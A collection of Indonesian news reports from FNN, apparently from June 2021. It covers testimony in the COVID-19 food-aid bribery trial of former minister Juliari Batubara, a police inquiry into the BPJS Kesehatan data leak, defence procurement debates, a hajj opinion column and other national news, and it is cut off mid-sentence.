Jakarta, FNN - Mantan Pejabat Pembuat Komitmen (PPK) pengadaan bansos sembako COVID-19 Matheus Joko Santoso mengungkapkan realisasi "fee" setoran dan operasional yang berasal dari perusahaan-perusahaan penyedia bansos sembako COVID-19 di Kementerian Sosial pada April-Juni 2020 mencapai Rp19,132 miliar. "Realisasi yang saya terima dari 'fee' setoran sejumlah Rp14,014 miliar, sedangkan 'fee' operasional adalah Rp5,117 miliar sehingga total putaran pertama 'fee'-nya adalah Rp19,132 miliar dan yang sudah kita setorkan adalah Rp11,2 miliar," kata Matheus Joko di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Joko menyampaikan hal tersebut saat menjadi saksi untuk terdakwa mantan Mensos Juliari Batubara yang didakwa menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bansos COVID-19. Joko bertugas untuk mengutip Rp10 ribu/paket sembako sebagai "fee" setoran dan Rp1.000/paket sembako sebagai "fee" operasional dari para perusahaan vendor penyedia bansos sembako. Pagu anggaran per paket sendiri adalah Rp300 ribu/paket dengan jumlah paket per tahap adalah 1,9 juta paket. Putaran pertama pengadaan bansos sembako berlangsung pada April-Juni 2020 untuk 6 tahap pengadaan. "Yang sudah diserahkan ke Pak Juliari dalam 5 kali penyerahan total-nya Rp11,2 miliar dan ada sisa Rp2,815 miliar masih saya simpan sedangkan 'fee' operasional yang sudah dipakai adalah Rp4,825 miliar sisanya masih ada Rp292 juta," tutur Joko. Joko sendiri mengaku "fee" operasional digunakan untuk pembayaran biaya operasional dan untuk para pejabat di Kemensos. "Hanya disampaikan secara umum terkait dengan pembayaran biaya-biaya operasional juga terkait penyerahan uang ke Pak Sekjen, ke Pak Adi dan saya, hanya disampaikan untuk itu," ungkap Joko. Namun, Joko juga mengaku ia ditugaskan untuk membayar biaya operasional menteri. "Seperti bayar sewa pesawat jet, juga bayar tes 'swab', saat itu saya serahkan ke ajudan, Pak Eko Budi Santoso," ucap Joko. Mantan Menteri Sosial Juliari Batubara mengubah pola kuota pengadaan bansos sembako COVID-19 pada tahap II yaitu Juli-Desember 2020 karena target "fee" tidak memuaskan. "Yang menyampaikan Pak Juliari katanya di putaran kedua ada perubahan pola, saya tidak disampaikan detail alasannya karena waktu itu yang mengkoordinasikan Pak Kukuh dan Pak Pepen serta pejabat Kemensos lainnya tapi dirasakan Pak Menteri (fee) kurang memuaskan," kata Matheus Joko di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Joko menyampaikan hal tersebut saat menjadi saksi untuk terdakwa mantan Mensos Juliari Batubara yang didakwa menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bansos COVID-19. Kukuh yang dimaksud Joko adalah Tim Teknis Juliari Batubara untuk bidang komunikasi, sedangkan Pepen adalah Direktur Jenderal Perlindungan dan Jaminan Sosial Kemensos Pepen Nazaruddin. "Perubahan polanya dari 1,9 juta paket per tahap, 1 juta paket dikoordinir oleh Pak Herman Hery, yang 400 ribu paket dikoordinir Pak Ihsan Yunus, 200 ribu paket oleh Pak Juliari sendiri dan 300 ribu istilahnya bina lingkungan," ungkap Joko. Herman Hery diketahui adalah Ketua Komisi III DPR dari fraksi PDI-Perjuangan, sedangkan Ihsan Yunus merupakan bekas Wakil Ketua Komisi VIII DPR yang juga berasal dari fraksi PDI-Perjuangan. "Bina lingkungan itu sebenarnya mengakomodir vendor-vendor yang belum pernah mendapat kuota pekerjaan, jadi untuk mengakomodir vendor-vendor lain yang belum dapat, pengelolaannya saya dan Pak Adi," tambah Joko. Adi saat itu menjabat sebagai Kepala Biro Umum Kemensos sekaligus Kuasa Pengguna Anggaran. "Pada intinya Pak Adi yang mengumpulkan atensi-atensi dan saya yang merekap. karena daftar vendor disetujui Pak Juliari dulu sesuai permintaan terkait kuota-kuota yang sudah memberikan rekomendasi," papar Joko. "Dalam BAP saudara mengatakan untuk pengadaan bansos tahap 7-12 memang saya dan Pak Adi merekap atensi-atensi termasuk pembagian kuota yang dikoordinir dan setelah kita buat draf saya serahkan ke Pak Adi untuk dilaporkan ke Pak Juliari untuk dikoreksi dan setelah ada persetujuan oleh Pak Juliari, daftar tersebut disampaikan ke saya dan ketika disampaikan ke saya, Pak Adi sekaligus menjelaskan pemilik paket, nama vendor, kuota dan PIC-nya siapa, apakah keterangan saudara ini benar?" tanya jaksa penuntut umum (JPU) KPK Ikhsan Fernandi. "Benar," jawab Joko. Menurut Joko, untuk pembagian 1 juta paket milik Herman Hery, yang menjadi operator bernama Ivo, Yogi, Stevano dan Budi Pamugnkas; untuk paket 400 ribu milik Ihsan Yunus, operatornya adalah Yogas dan Iman serta paket 200 ribu milik Juliari yang menjadi operator adalah Kukuh. "Kukuh itu jadi operator mulai tahap 1, 3, 5, 6 tapi untuk tahap 7-12, perusahaan-perusahaan vendornya tidak berkoordinasi dengan saya, jadi saya tidak tahu," ungkap Joko. Namun, Joko mengetahui dua perusahaan yang mendapat jatah kuota milik Juliari tersebut yaitu PT. Bismacindo Perkasa dan PT. Asricitra Pratama. "Untuk Asricitra biasanya ke Pak Kuncoro berdasarkan draf dari Pak menteri, setelah disetujui Pak Juliari lalu draf diberikan ke saya untuk dibuat SPPBJ (Surat Penunjukan Penyedia Barang/Jasa)," ujar Joko. (sws)

Saksi: Rp11,2 Miliar "Fee" Bansos Sudah Diterima Juliari Batubara

Jakarta, FNN - Mantan Menteri Sosial Juliari Batubara disebut telah menerima Rp11,2 miliar sebagai "fee" pengadaan bansos sembako COVID-19. "Di putaran pertama jumlah 'fee' setoran tahap 1, 3, komunitas, 5, 6 adalah Rp14,014 miliar untuk 'fee' setoran dan sudah diserahkan sebanyak 5 kali ke Pak Juliari sebesar Rp11,2 miliar," kata Mantan Pejabat Pembuat Komitmen (PPK) pengadaan bansos sembako COVID-19 Matheus Joko Santoso di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Joko menyampaikan hal tersebut saat menjadi saksi untuk terdakwa mantan Mensos Juliari Batubara yang didakwa menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bansos COVID-19. Joko bertugas untuk mengutip Rp10 ribu/paket sembako sebagai "fee" setoran dan Rp1.000/paket sembako sebagai "fee" operasional dari para perusahaan vendor penyedia bansos sembako. Pagu anggaran per paket sendiri adalah Rp300 ribu/paket dengan jumlah paket per tahap adalah 1,9 juta paket. Putaran pertama pengadaan bansos sembako berlangsung pada April-Juni 2020 untuk 6 tahap pengadaan. "Saya serahkan langsung ke Pak Adi Wahyono, Pak Adi serahkan ke Pak Eko atau Bu Selvy," tambah Joko. Eko yang dimaksud adalah Eko Budi Santoso yang adalah ajudan Juliari, sedangkan Selvy adalah Selvy Nurbaety yang merupakan sekretaris pribadi Juliari. "Saya konfirmasi ke terdakwa untuk memastikan uang yang diberikan ke Pak Eko dan Bu Selvy apa sudah diterima atau belum, kemudian dari beberapa pertemuan atau menghadap (Juliari) kita juga diminta untuk melanjutkan pengumpulan 'fee' sampai bulan Juni-November," ungkap Joko. Namun, Joko mengaku tidak pernah menyerahkan "fee" secara langsung.

Kapal Cepat Nunukan Terguling, 5 Tewas

Nunukan, FNN - Kapal cepat atau speedboat yang kecelakaan dalam perjalanan dari Pelabuhan Tarakan menuju Kecamatan Sebuku, Kabupaten Nunukan, Kaltara, Senin, dilaporkan mengangkut 30 penumpang, di antaranya tujuh anak-anak. Kejadiannya sekitar pukul 13.28 WITA di perairan Desa Pelaju Kecamatan Sembakung, Kabupaten Nunukan, ujar Koordinator Basarnas Tarakan Amiruddin melalui siaran pers-nya diterima di Nunukan, Senin sore. Ia membenarkan dari 30 penumpang tersebut saat ini telah ditemukan lima orang meninggal dunia dengan tiga di antaranya anak-anak. Kapal cepat SB Riyan ini yang mengalami kecelakaan ini diperkirakan dalam kondisi laju, dan tidak mampu dikendalikan bertepatan dengan gelombang yang tinggi. Pada saat kecelakaan kapal cepat yang berwarna biru putih ini terbalik ke kiri tepat di tikungan sungai. Sampai saat ini Basarnas belum memberikan keterangan terkait dengan kecelakaan ini. (sws)

KPK Minta Penundaan Sidang Praperadilan SP3 BLBI

Jakarta, FNN - KPK meminta penundaan sidang gugatan praperadilan antara Masyarakat Anti Korupsi Indonesia (MAKI) melawan KPK untuk membatalkan surat perintah penghentian penyidikan (SP3) Bantuan Langsung Bank Indonesia Bank Dagang Nasional Indonesia (BLBI BDNI). "Terkait dengan sidang praperadilan SP3 perkara BLBI, KPK telah berkirim surat kepada Ketua Pengadilan Negeri Jakarta Selatan tertanggal 31 Mei 2021 untuk meminta penundaan sidang karena tim Biro Hukum KPK masih menyiapkan surat-surat dan administrasi persidangan terlebih dahulu," kata Plt. Juru Bicara KPK Ali Fikri di Jakarta, Senin. Ali menyebut permintaan penundaan tersebut sama sekali tidak ada kaitannya dengan polemik tes wawasan kebangsaan (TWK). "Kami memastikan pada persidangan berikutnya KPK akan hadir sebagaimana penetapan hakim praperadilan dimaksud," kata Ali. MAKI mengajukan gugatan terhadap SP3 BLBI BDNI dengan tersangka Sjamsul Nursalim dan Itjih Nursalim. SP3 tersebut diterbitkan KPK dengan alasan bebasnya Syafruddin Arsyad Temenggung dalam perkara BLBI. Atas SP3 tersebut, MAKI mendaftarkan gugatan pada tanggal 30 April 2021. "MAKI yakin akan memenangi gugatan ini karena hukum Indonesia tidak menganut putusan seseorang dijadikan dasar menghentikan perkara orang lain (yurisprudensi) seseorang tersangka bisa dihukum bersalah atau bebas setelah melalui proses persidangan, bukan atas dasar SP3 oleh penyidik KPK," kata koordinator MAKI Boyamin Saiman. SP3 tersebut diterbitkan karena KPK ingin menghadirkan kepastian hukum setelah penolakan permohonan peninjauan kembali (PK) yang diajukan KPK ke Mahkamah Agung (MA) terhadap putusan kasasi Syafruddin Arsyad Temenggung pada tanggal 16 Juli 2020. PK itu diajukan KPK karena pada tanggal 9 Juli 2019 setelah MA mengabulkan kasasi Syafruddin dan menyatakan Syafruddin terbukti melakukan perbuatan sebagaimana didakwakan kepadanya. Akan tetapi, perbuatan itu tidak merupakan suatu tindak pidana sehingga melepaskan Syafruddin dari segala tuntutan hukum (ontslag van alle rechtsvervolging). Penerbitan SP3 sendiri adalah produk hukum KPK terbaru berdasarkan Undang-Undang KPK edisi revisi, yaitu UU No. 19 Tahun 2019. Sebelumnya, KPK tidak diberi hak untuk mengeluarkan SP3 seperti penegak hukum lain, yaitu Kepolisian RI dan Kejaksaan Agung. (sws)

Polri Masih Dalami Keterangan Saksi BPJS Kesehatan Terkait Data Bocor

Jakarta, FNN - Kepolisian Republik Indonesia (Polri) masih mendalami keterangan saksi-saksi dari Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan terkait kebocoran data. Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono, di Mabes Polri, Jakarta, Senin, mengatakan belum ada pemeriksaan saksi lanjutan setelah penyidik meminta keterangan lima vendor di BPJS Kesehatan. "Tentunya dari perkembangan yang terakhir kita telah memeriksa beberapa saksi dari BPJS kesehatan dan juga vendor yang mengatakan daripada teknologi informasi di BPJS Kesehatan hasil dari keterangan para saksi ini masih didalami oleh penyidik," kata Rusdi. Penyidik Direktorat Tindak Pidana Siber Bareskrim Polri telah memeriksa lima vendor penyedia layanan teknologi informasi di BPJS Kesehatan pada Rabu (2/6). Sebelumnya, penyidik telah meminta keterangan empat orang saksi, yakni dua saksi dari BPJS Kesehatan dan dua saksi lainnya dari Badan Siber dan Sandi Negara (BSSN). Rusdi mengatakan keterangan dari para saksi menjadi dasar bagi penyidik dalam melakukan langkah selanjutnya untuk menuntaskan persoalan kebocoran data tersebut. "Penyidik masih mendalami keterangan-keterangan saksi untuk terus menyelesaikan kasus ini bersama-sama dengan instansi yang lain tentunya nanti apabila ada perkembangan-perkembangan akan disampaikan ke publik," ujar Rusdi. Penyelidikan soal kebocoran data ini telah bergulir sejak isu kebocoran data mencuat di masyarakat. Kabareskrim Polri Komjen Agus Adrianto memerintahkan Direktorat Tindak Pidana Siber untuk menelusuri-nya. Pada Senin (24/5) lalu, Bareskrim Polri telah meminta klarifikasi pejabat di BPJS Kesehatan yang menangani penggunaan teknologi informasi di instansi tersebut. Hasil dari klarifikasi tersebut nantinya menjadi dasar Polri untuk melakukan tindak lanjut dalam menuntaskan kasus kebocoran data tersebut. Belakangan ini publik kembali menerima kabar kebocoran data pribadi. Sebanyak 1.000.000 data pribadi yang kemungkinan adalah data dari Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan diunggah (upload) di internet. Akun bernama Kotz memberikan akses download (unduh) secara gratis untuk file sebesar 240 megabit (Mb) yang berisi 1.000.000 data pribadi masyarakat Indonesia. File tersebut dibagikan sejak 12 Mei 2021. Bahkan, dalam sepekan ini ramai menjadi perhatian publik. Akun tersebut mengklaim mempunyai lebih dari 270 juta data lainnya yang dijual seharga 6.000 dolar Amerika Serikat. (sws)

Pengamat Ragukan PT TMI Bisa Monopoli Alutsista Rp1.760 Triliun

Jakarta, FNN - Pengamat Pertahanan Andi Widjajanto meragukan dugaan PT Teknologi Militer Indonesia (TMI) bisa memonopoli pengadaan alat utama sistem senjata (alutsista) senilai Rp1.760 triliun, sebab modal awal yang harus dimiliki terlalu besar dan sukar bagi perusahaan mana pun untuk memenuhi. "Kalau dibilang PT TMI akan ambil semua Rp1,7 kuadriliun, saya yakin pasti tidak bisa," kata dia melalui keterangan tertulis yang diterima di Jakarta, Senin. Ia mengatakan hitungannya sederhana dari Rp1,7 kuadriliun maka penyertaan modal kira-kira harus 30 persen dari jumlah tersebut atau sekitar Rp600 triliun. Dari Rp600 triliun tersebut, lanjut Andi, PT TMI harus menyediakan dana paling tidak Rp200 triliun. Jumlah itu terlalu besar. Bahkan, diyakini tidak ada perusahaan di Tanah Air yang bisa memenuhi termasuk BUMN sekalipun. "Jadi, mengambil keseluruhan proyek senilai Rp1,7 kuadriliun dengan hitungan bisnis normal tidak akan bisa. Tidak bisa dicari cara cepat untuk menguasai Rp1,7 kuadriliun di tangan satu entitas," tutur-nya. Menteri Pertahanan diyakini akan melihat BUMN dan Badan Usaha Milik Swasta dan diatur bersama-sama. Di sisi lain, Andi menilai berdirinya PT TMI dalam memeriahkan industri alutsista merupakan hal wajar. Perusahaan tersebut dinilai melihat adanya peluang perluasan bisnis di bidang industri pertahanan seiring dengan disahkan-nya Undang-Undang tentang Cipta Kerja (UU Ciptaker). "UU Ciptaker menyatakan sekarang boleh swasta jadi 'lead integrator' memproduksi senjata. Sebelum ada UU Ciptaker yang boleh hanya delapan BUMN," ujarnya menjelaskan. Meski demikian, ia mengingatkan swasta diperkenankan menjual dan memproduksi senjata atas izin Menteri Pertahanan. Kemudian wajib ada alih teknologi sesuai mandat UU Industri Pertahanan. Selain swasta, merujuk UU Ciptaker investor asing kini juga diperkenankan menanamkan modal pada industri pertahanan. Sebelumnya, sektor ini termasuk terlarang atau tercantum dalam daftar negatif investasi (DNI). "Jadi, bisa saja Pindad dapat 'investment joint venture', misalnya, dengan Jerman seperti yang dilakukan Rheinmetall ke Turki. PT Dirgantara Indonesia juga bisa saja ke Lockheed Martin," ujar dia. (sws)

Fadli Zon: Banyak yang Salah Paham Soal Rencana Pembelian Alpalhankam

Jakarta, FNN - Anggota Komisi I DPR, Fadli Zon, mengatakan, banyak yang salah paham terkait Rancangan Peraturan Presiden tentang pemenuhan alat peralatan pertahanan dan keamanan periode pengadaan 2020-2024. "Umumnya telah disalahpahami oleh banyak orang. Tak sedikit yang menilai kalau rencana strategis itu sebagai 'ambisius' dan 'tidak peka terhadap krisis yang tengah kita alami," kata dia, dalam siaran persnya, di Jakarta, Senin. Ia menyebut ada tiga sumber kesalahpahaman terkait rancangan Perpres itu. Pertama, sebagian pihak hanya melihat total besaran anggarannya yang mencapai Rp 1.760 triliun, tetapi tidak memperhatikan skemanya. Kedua, masyarakat melupakan pengadaan peralatan perang itu merupakan proyek strategis untuk jangka waktu 25 tahun. Terakhir, mereka yang menentang pengadaan alat pertahanan katanya lupa, semua itu barulah rancangan rencana pemerintah. "Di luar tiga hal tadi, banyak orang juga lupa, jika saat ini kita berada di tahap akhir program Kekuatan Pokok Minimum, atau MEF (Minimum Essential Force), yang telah dimulai sejak 2009 silam," kata wakil ketua umum DPP Partai Gerindra ini. MEF, lanjut dia, merupakan program yang dirancang untuk memodernisasi kekuatan pertahanan Indonesia. MEF --"tinggalan" masa pemerintahan Presiden Susilo Yudhoyono-- dilaksanakan dalam tiga tahap, yaitu MEF I (2009-2014), MEF II (2014-2019), dan MEF III (2019-2024). Menurut dia, dalam tiap tahap MEF pemerintah menganggarkan kurang lebih sebesar Rp150 triliun untuk belanja peralatan perang. "Jadi, kurang lebih tiap tahun anggarannya adalah sebesar Rp30 triliun. Nach, program ini akan berakhir pada 2024. Sehingga, sangat wajar jika pemerintah kemudian menyusun rancangan program strategis baru untuk meneruskan MEF. Itulah latar belakang munculnya rancangan Perpres tentang Alpahankam," kata dia. Ia bilang, dalam pelaksanaan program MEF tidak berjalan mulus seperti yang direncanakan. Berdasarkan data Kementerian Pertahanan hingga Oktober 2020 (alias memasuki MEF III), TNI AD baru memiliki 77 persen kekuatan pokok minimal, sedangkan TNI AL sebesar 67,57 persen, dan TNI AU 45,19 persen. "Jadi, kalkulasi kasarnya, dengan model penganggaran yang berlaku selama ini, MEF kemungkinan tidak akan bisa mencapai 100 persen pada 2024. Maka, dibutuhkan jalan baru dan juga rencana baru," katanya. Rencana Kementerian Pertahanan dengan menyatukan alokasi anggaran pertahanan 25 tahun untuk memenuhi peralatan perang, kata dia, merupakan terobosan. Selain itu dapat menjadi jawaban untuk mempercepat modernisasi peralatan perang TNI. Dalam kesempatan itu, dia menyebut terdapat tiga pertimbangan untuk mendukung rencana Kementerian Pertahanan. Pertama, kata dia, terobosan ini akan menjawab percepatan modernisasi peralatan perang. "Kondisi alpahankam kita memang sudah tidak memadai, baik dari sisi jumlah, maupun segi usia. Sekitar 70 persen alpahankam kita umurnya sudah uzur," kata dia. Ia menyatakan, tragedi tenggelamnya KRI Nanggala-402 merupakan salah satu faktor penyebabnya adalah karena usia yang sudah tua. "Selama ini anggaran TNI banyak tersedot untuk pemeliharaan alpahankam yang sudah tak layak pakai," ucapnya. Kedua, dari sisi anggaran, melakukan modernisasi dengan menyatukan alokasi anggaran pertahanan 25 tahun dapat meningkatkan kapasitas pengadaan alpahankam secara lebih komprehensif. "Selain akan segera meningkatkan posisi tawar Indonesia, cara ini juga saya kira lebih efisien dibanding jika pengadaannya dilakukan secara terpisah dan parsial," katanya. Bila diukur dari Produk Domestik Bruto (PDB) 2020 sebesar 15.434,2 triliun, maka anggaran yang dialokasikan pemerintah untuk alutsista selama 25 tahun itu sebenarnya hanya pada kisaran 0,6-0,7 persen setiap tahun. Padahal, apabila merujuk pada dokumen MEF, idealnya sejak MEF II (2014-2019), alokasi anggaran pertahanan Indonesia sudah ke arah 1,5 persen dari terhadap PDB. "Jadi, jangan semata-mata melihat gelondongan Rp 1.760 triliun-nya, tapi harus dilihat juga persentasenya terhadap PDB kita 25 tahun ke depan," katanya. Ketiga, rencana pengadaan alat pertahanan katanya bersifat meneruskan strategi MEF yang saat ini sudah masuk tahap ke-3. Sebagai Menteri Pertahanan, Prabowo Subinto --ketua umum DPP Partai Gerindra-- dia katakan, harus menghadapi tiga tantangan sekaligus terkait dengan MEF, yakni harus menuntaskan MEF, harus menghadapi kenyataan terkendalanya anggaran pertahanan karena ada pandemi, dan harus bisa menawarkan rancangan strategis baru untuk meneruskan MEF. "Jadi, mau tidak mau Kementerian Pertahanan harus bisa membuat terobosan. Rancangan Perpres tentang alpahankam ini adalah hasilnya," ucap dia. Dalam satu tahun ini, dia melihat upaya Kementerian Pertahanan untuk melakukan percepatan target MEF cukup serius dan komprehensif. Misalnya, mereka mengevaluasi kembali kontrak-kontrak kerja sama pertahanan yang dinilai tidak efisien, membuka kerja sama luas dengan berbagai negara agar tidak tergantung pada satu negara saja, dan terakhir, mereka juga tak lupa memperkuat industri pertahanan nasional. Jadi, langkah-langkah yang disusun Kementerian Pertahanan, kata dia, sudah sangat komprehensif. Ia menambahkan, Indonesia memang harus membuat terobosan penting agar dapat segera memiliki sistem pertahanan nasional yang tangguh. "Di luar hal-hal yang telah disebutkan tadi, saya setuju, bahwa rencana besar ini tentu masih harus dimatangkan dan disempurnakan lagi dengan melibatkan parlemen," ujarnya. (sws)

Kemkominfo Akan Ubah STMM Yogyakarta Jadi Institut Digital Nasional

Jakarta, FNN - Kementerian Komunikasi dan Informatika Republik Indonesia (Kemkominfo RI) akan mengembangkan Sekolah Tinggi Multi Media (STMM) Yogyakarta jadi Institut Digital Nasional pada 2022, kata Menkominfo Johnny Gerard Plate saat rapat kerja bersama DPR RI di Jakarta, Senin (07/06/21) Pengembangan itu bertujuan agar Institut Digital Nasional dapat memenuhi kebutuhan sumber daya terampil bidang teknologi digital di Indonesia, kata Johnny di hadapan anggota Komisi I Dewan Perwakilan Rakyat Republik Indonesia (DPR RI). “Inisiatif Kementerian Kominfo pada 2022 yaitu pengembangan Sekolah Tinggi Multi Media Yogyakarta jadi Institut Digital Nasional. (Pengembangan, Red) itu bertujuan mengatasi kebutuhan talenta digital di level hilir,” terang Menkominfo saat rapat kerja bersama Komisi I DPR RI. Kemkominfo, kata Johnny, berencana memperluas cakupan kurikulum STMM Yogyakarta agar tidak hanya sebatas multimedia, tetapi juga teknologi digital, komunikasi dan media digital, ekonomi digital, serta tata kelola dan kebijakan-kebijakan digital. “Kami berharap STMM tidak hanya terkait dengan kurikulum multimedia, tetapi juga dapat jadi pusat riset unggulan,” ujar dia menambahkan. Terkait rencana itu, STMM Yogyakarta belum dapat langsung dihubungi untuk diminta tanggapannya. Dalam rapat kerja yang sama, Menkominfo menegaskan transformasi digital akan jadi fokus yang melandasi berbagai program kerja Kemkominfo pada 2022. Program-program kerja itu sebagian besar akan melanjutkan program yang telah berjalan pada 2020 sampai 2021, antara lain penyediaan infrastruktur telekomunikasi, penguatan infrastruktur digital pemerintah, penguatan tata kelola data termasuk pertukaran data lintas batas, dan penguatan komunikasi publik termasuk platform digital, ujar Johnny menambahkan. Terkait penyediaan infrastruktur, Kemkominfo pada 2022 berencana membangun lebih banyak stasiun pemancar atau base transmission station (BTS). Sejauh ini, ada 1.682 BTS yang aktif beroperasi, dan pemerintah masih akan menyelesaikan 4.200 BTS pada 2021. Untuk 2022, Kemkominfo akan lanjut mendirikan 3.704 BTS sehingga diharapkan akan ada 9.586 pada akhir 2024. Di samping BTS, Kemkominfo juga masih akan membangun infrastruktur kabel untuk optimalisasi pemanfaatan satelit Palapa Ring, serta titik-titik akses Internet baru pada 2022. Tidak hanya menyampaikan soal program kerja, Menkominfo juga memaparkan rencana anggaran 2022. Kemkominfo mendapat pagu alokasi APBN sebanyak Rp16,96 triliun, sementara pagu indikatif pada tahun 2023 sebesar Rp21,76 triliun. "Dengan demikian, pagu pada tahun 2022 ada kenaikan sebesar Rp4,8 triliun atau 28,30 persen apabila dibandingkan dengan periode sebelumnya," ujar Menkominfo. (sws)

Menpan RB: Jabatan Wamen Tidak Perlu Jadi Polemik

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo mengatakan rencana penunjukan jabatan wakil menteri untuk kementerian tersebut tidak perlu menjadi polemik. “Tidak perlu dipolemikkan (tentang) perlu atau tidaknya posisi wamen. Pembantu presiden adalah jabatan politis, sehingga sah saja diambil dari unsur mana pun,” kata Tjahjo Kumolo dalam keterangannya di Jakarta, Senin. Tjahjo mengatakan Presiden Joko Widodo sudah mempertimbangkan hal penting dan mendesak apabila diperlukan posisi wakil menteri dalam kementerian. Tjahjo menyatakan pihaknya mempersiapkan kemungkinan adanya posisi wakil menteri, seperti yang diatur dalam Peraturan Presiden (Perpres) Nomor 47 Tahun 2021 tentang Kemenpan RB. “Terkait berita keluarnya Perpres Kemenpan RB yang sudah ditandatangani presiden pada prinsipnya Kemenpan RB mempersiapkan saja dulu sebagaimana arahan Sekneg,” jelasnya. Menurut dia, setiap perpres kementerian yang terdapat pasal terkait jabatan wamen bertujuan agar presiden dapat sewaktu-waktu menunjuk seseorang untuk mengisi posisi tersebut. “Memang semua perpres tentang kementerian negara diminta untuk mencantum jabatan wakil menteri, agar supaya sewaktu-waktu presiden mengangkat wakil menteri tidak perlu mengubah perpres,” tambahnya. Oleh karena itu, terkait kapan jabatan Wakil Menpan RB tersebut diisi, Tjahjo mengatakan hal itu merupakan hak prerogatif Presiden Joko Widodo. “Soal kapan adanya wamen dalam kementerian hal tersebut merupakan hak prerogatif presiden. Kapan saja bisa terisi atau tidak,” tukasnya. Sebelumnya, Tjahjo menilai Perpres dan penugasan Wamenpan RB tersebut bertujuan untuk penguatan tugas Kemenpan RB dalam upaya mempercepat reformasi birokrasi. Sementara itu, Presiden Joko Widodo menerbitkan Perpres Nomor 47 Tahun 2021 tentang Kemenpan RB yang ditandatangani presiden pada 19 Mei 2021. Pada Pasal 2 Ayat 1 Perpres tersebut dijelaskan bahwa dalam memimpin Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi, menteri dapat dibantu oleh wakil menteri sesuai dengan penunjukan presiden. Tugas wamen, menurut perpres tersebut, adalah membantu menteri dalam perumusan dan/atau pelaksanaan kebijakan Kemenpan RB. Selain itu, wamen bertugas membantu menteri dalam koordinasi pencapaian kebijakan strategis lintas unit organisasi jabatan pimpinan tinggi madia atau eselon I di lingkungan Kemenpan RB. (sws)

Simpang-siur Penyelenggaraan Haji 2021

By Asyari Usman MEDAN, (FNN) - APAKAH masih belum jelas soal pengiriman jemaah haji Indonesia ke Arab Saudi tahun ini (2021)? Tentu tidak. Sudah jelas dan tegas. Pemerintah memutuskan tidak mengirimkan jemaah. Alasannya, wabah Covid-19 yang masih berkecamuk. Jadi, kirim jemaah atau tidak, sudah terjawab beberapa hari lalu. Menteri Agama Yaqut Qoumas yang memastikan jemaah Indonesia tidak dikirim. Lantas, apa yang simpangsiur? Yang simpangsiur alias tidak pasti itu adalah alasan mengapa jemaah haji tidak diberangkatkan. Menag Yaqut mengatakan karena wabah Covid. Tetapi, banyak pihak yang meragukan alasan tersebut. Ada yang mengatakan Yaqut dan Dubes RI di Saudi, Agus Maftuh Abegebriel, gagal melobi pemerintah Saudi. Kenapa disebut gagal? Karena tahun ini Saudi membolehkan pelaksanaan ibadah haji, tetapi dibatasi jumlah jemaahnya. Sangat kecil jumlah yang boleh berhaji. Hanya 60.000 orang untuk seluruh dunia. Dari jumlah ini, 45.000 dialokasikan untuk jemaah internasional. Sedangkan 15.000 lagi untuk warga Arab Saudi sendiri. Kelihatannya sedikit sekali untuk dibagi-bagi ke hampir 100 negara yang mengirimkan jemaah haji, termasuk negara-negara yang mayoritas penduduknya non-muslim seperti Amerika Serikat, Eropa, Australia. Yang 45.000 itu untuk Indonesia sendiri pun terasa sangat tidak memadai. Nah, yang menjadi pertanyaan, mengapa Indonesia tidak mendapatkan jatah sama sekali? Mengapa tidak seorang pun bisa diberangkatkan? Padahal, India saja bisa mendapatkan kuota sekitar 5.000 orang. Padahal, mayoritas penduduknya Hindu. Apakah karena pemerintah “malas” melobi karena pasti dikasih “tidak seberapa” itu? Kalau ini yang menjadi pertimbangan untuk tidak memberangkatkan seluruh jemaah haji, pemerintah salah langkah. Andaikata pun Saudi hanya membolehkan 1.000 jemaah Indonesia berhaji tahun ini, Menag Yaqut dan Dubes Maftuh bisa menunjukkan, pemerintah telah berusaha sekuat tenaga. Simpangsiur lainnya adalah, apakah Arab Saudi sudah mengumumkan kuota haji atau belum? Menurut Dubes Maftuh, belum (hingga 4 Juni 2021). Padahal, bulan Mei yang baru lewat, pejabat tinggi keagamaan Pakistan, Maulana Tahir Ashrafi, mengatakan Arab Saudi mengizinkan 60.000 orang melaksanakan haji. Siapa yang benar? Penulis wartawan senior FNN.co.id

Panglima TNI Tinjau Penanganan COVID-19 di Grobogan

Jakarta, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto meninjau penanganan COVID-19 di Kabupaten Grobogan, Jawa Tengah, sebagai tindak lanjut dari meningkatkan angka kasus positif di wilayah tersebut akhir-akhir ini. Dalam tinjauannya bersama Kapolri Jenderal Pol. Listyo Sigit Prabowo dan Kepala Badan Nasional Pengendalian Bencana (BNPB) Letjen TNI Ganip Warsito, Minggu, Panglima menginstruksikan anggota TNI untuk membantu pemerintah daerah dalam menurunkan angka kasus COVID-19 di Kabupaten Grobogan. "Saya tekankan agar TNI/Polri dan forkopimda untuk melaksanakan monitoring dan evaluasi PPKM skala mikro yang telah berjalan hingga saat ini," kata Panglima Hadi dalam keterangan tertulisnya. Dalam rangka gerak cepat mengendalikan kasus COVID-19 di Grobogan, Panglima memimpin rapat terbatas dengan pihak terkait, termasuk Gubernur Jawa Tengah Ganjar Pranowo dan Bupati Grobogan Sri Sumarni. Dalam sambutannya, Panglima TNI menyampaikan bahwa saat ini Grobogan juga mengalami peningkatan kasus positif COVID-19 yang cukup signifikan. Panglima TNI mengemukakan bahwa adanya lonjakan kasus positif COVID-19, TNI/Polri akan memperkuat personel agar dapat membantu pelaksanaan tugas di lapangan. "Saya berharap Kabupaten Grobogan dapat meningkatkan kemampuan uji PCR agar kasus konfirmasi dapat diketahui dan mempercepat memutus rantai penularan," kata Panglima TNI. Panglima TNI juga memerintahkan jajaran TNI agar mengerahkan segenap kekuatan untuk mendukung Pemerintah Kabupaten Grobogan. Ia juga berharap Kabupaten Grobogan dapat meningkatkan dukungan rumah sakit dan tenaga kesehatan yang juga dibantu TNI/Polri. Selain itu, Panglima juga mengingatkan ada data terkait dengan COVID-19 dapat dilaporkan sesuai dengan data di lapangan. "Data yang dilaporkan harus merupakan data nyata di lapangan, tegakkan 